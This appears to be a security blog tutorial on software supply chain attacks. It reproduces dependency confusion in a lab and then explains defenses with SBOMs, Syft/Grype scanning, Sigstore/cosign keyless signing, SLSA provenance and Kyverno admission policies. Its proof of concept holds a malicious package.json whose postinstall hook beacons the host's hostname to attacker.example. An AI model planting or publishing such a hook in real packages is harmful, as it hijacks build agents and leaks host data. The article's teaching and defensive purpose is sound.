Introduction / Overview
Disclaimer: This article is for education and authorized security testing only. Run these techniques exclusively against systems and registries you own or have explicit written permission to assess. Dependency confusion and artifact tampering against third parties are crimes in most jurisdictions.
Software supply chain attacks shifted from theory to headline after SolarWinds (2020) and the event-stream npm incident. Attackers no longer need to breach your perimeter — they poison a dependency, a build server, or a container image that you happily pull. This article walks through two of the most common attack classes (dependency confusion and unsigned-artifact tampering) and then shows how to defend with SBOM generation, Sigstore/cosign signing, and SLSA provenance.
How it works / Background
A few moving parts you must understand:
- SBOM (Software Bill of Materials): a machine-readable inventory of every component in an artifact. The two dominant formats are CycloneDX and SPDX. An SBOM lets you answer "am I affected by CVE-2021-44228 (Log4Shell)?" in seconds instead of days.
- Sigstore: an OpenSSF project providing keyless signing. cosign signs artifacts; Fulcio is a CA that issues short-lived certificates bound to an OIDC identity; Rekor is an immutable transparency log.
- SLSA (Supply-chain Levels for Software Artifacts): a framework of levels (now v1.0) describing build integrity guarantees, centered on verifiable provenance — signed metadata describing how and where an artifact was built.
- Dependency confusion: disclosed by Alex Birsan in 2021. If your build resolves packages from both a public and a private registry, an attacker publishing a higher-version package under your internal name to the public registry can hijack resolution and achieve RCE on your build agents.
Prerequisites / Lab setup
You need Docker, Go-based CLIs, and a throwaway registry. Everything below runs locally.
# Install the tooling (Linux/macOS)
brew install cosign syft grype
# Or pin versions via the official installers
curl -sSfL https://raw.githubusercontent.com/anchore/syft/main/install.sh | sh -s -- -b /usr/local/bin
curl -sSfL https://raw.githubusercontent.com/anchore/grype/main/install.sh | sh -s -- -b /usr/local/bin
# Spin up a local OCI registry to push signatures and SBOMs into
docker run -d --restart=always -p 5000:5000 --name registry registry:2BashConfirm versions before continuing:
cosign version
syft version
grype versionBashWalkthrough / PoC
1. Reproducing dependency confusion (authorized lab)
Suppose a target's package.json references an internal package @acme/auth-utils that exists only in their private Artifactory. If their npm client is misconfigured to fall back to registry.npmjs.org, publishing a higher version publicly wins.
# A malicious package.json with a postinstall beacon (lab only)
cat > package.json <<'EOF'
{
"name": "@acme/auth-utils",
"version": "99.0.0",
"scripts": {
"postinstall": "node -e \"require('https').get('https://attacker.example/cb?h='+require('os').hostname())\""
}
}
EOF
# In a real engagement you would `npm publish` to the public registry.
# DO NOT do this against names you do not own.BashThe fix is configuration, not luck: scope every internal package and pin the registry per scope.
# .npmrc
@acme:registry=https://artifactory.internal.acme.com/api/npm/npm-local/
//artifactory.internal.acme.com/api/npm/npm-local/:_authToken=${NPM_TOKEN}INI2. Generating an SBOM with Syft
# Produce a CycloneDX SBOM for a container image
syft alpine:3.19 -o cyclonedx-json=alpine-sbom.json
# Human-readable table while you work
syft alpine:3.19 -o tableBash3. Scanning the SBOM for known vulnerabilities
# Scan the SBOM instead of re-pulling the image
grype sbom:alpine-sbom.json --fail-on highBash4. Keyless signing with cosign and Sigstore
Push an image, then sign it without managing any private key. cosign opens a browser for OIDC, Fulcio issues a 10-minute cert, and the signature is logged in Rekor.
# Build and push to the local registry
docker pull alpine:3.19
docker tag alpine:3.19 localhost:5000/alpine:3.19
docker push localhost:5000/alpine:3.19
# Keyless sign (interactive OIDC)
COSIGN_EXPERIMENTAL=1 cosign sign localhost:5000/alpine:3.19
# Attach the SBOM as an attestation, tied to the same identity
cosign attest --predicate alpine-sbom.json \
--type cyclonedx localhost:5000/alpine:3.19Bash5. Verifying signature and provenance at deploy time
This is the control that actually stops a tampered image. Verification fails if the digest changed or the identity does not match.
cosign verify localhost:5000/alpine:3.19 \
--certificate-identity-regexp '.*@acme\.com$' \
--certificate-oidc-issuer https://accounts.google.com
# Verify the SBOM attestation specifically
cosign verify-attestation localhost:5000/alpine:3.19 \
--type cyclonedx \
--certificate-identity-regexp '.*@acme\.com$' \
--certificate-oidc-issuer https://accounts.google.comBashMermaid diagram

The diagram shows the secured path: every build produces a signed SBOM whose provenance is verified by an admission controller before the workload is ever scheduled.
Detection & Defense (Blue Team)
Defense here carries equal weight to the offense — these controls are what make the attacks above fail.
1. Eliminate dependency confusion. Scope all private packages (npm @scope, Python index pinning), and configure clients to never fall back to public registries for internal names. For pip, prefer --index-url with an explicit private index plus hash pinning rather than --extra-index-url, which is vulnerable to confusion.
# pip.conf — explicit, no public fallback for internal packages
[global]
index-url = https://pypi.internal.acme.com/simple
require-hashes = trueINI2. Enforce signatures at admission. Use the Sigstore policy-controller or Kyverno so Kubernetes only runs verified images.
# Kyverno ClusterPolicy: require a valid cosign signature
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: require-image-signature
spec:
validationFailureAction: Enforce
rules:
- name: verify-acme-images
match:
any:
- resources:
kinds: ["Pod"]
verifyImages:
- imageReferences: ["registry.acme.com/*"]
attestors:
- entries:
- keyless:
issuer: "https://token.actions.githubusercontent.com"
subject: "https://github.com/acme/*"YAML3. Gate on SBOM + vulnerability scans in CI. Fail the pipeline when high/critical CVEs appear, and re-scan stored SBOMs daily so newly disclosed CVEs (the Log4Shell pattern) are caught retroactively without rebuilding.
4. Pursue SLSA provenance. Adopt the slsa-github-generator to emit SLSA v1.0 provenance, then verify it with slsa-verifier before promotion — this defeats build-server tampering, not just registry tampering.
5. Detection telemetry. Monitor the Rekor log for entries signing your image names from unexpected identities; alert on unsigned images reaching admission. Relevant MITRE ATT&CK techniques: T1195 (Supply Chain Compromise), T1195.001 (Compromise Software Dependencies and Development Tools), and T1199 (Trusted Relationship).
For deeper container hardening context, see our notes on container escape primitives and hardening a CI/CD pipeline. For dependency analysis methodology, see reversing third-party binaries with Ghidra.
Conclusion
Supply chain security is layered: an SBOM tells you what you ship, Sigstore/cosign proves who built it and that it is unchanged, and SLSA attests to how it was built. None of these alone is sufficient — but combined and enforced at admission time, they convert a silent dependency-confusion or tampering compromise into a hard pipeline failure. Start by generating SBOMs today, add keyless signing next, and only then enforce verification so you do not break production while you learn.
References
- Sigstore documentation — https://docs.sigstore.dev/
- cosign GitHub — https://github.com/sigstore/cosign
- SLSA framework v1.0 — https://slsa.dev/
- Syft (Anchore) — https://github.com/anchore/syft
- Grype (Anchore) — https://github.com/anchore/grype
- Alex Birsan, "Dependency Confusion" — https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610
- CycloneDX specification — https://cyclonedx.org/
- MITRE ATT&CK T1195 — https://attack.mitre.org/techniques/T1195/
- Kyverno image verification — https://kyverno.io/docs/writing-policies/verify-images/
- HackTricks: CI/CD security — https://cloud.hacktricks.xyz/pentesting-ci-cd
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:



Comments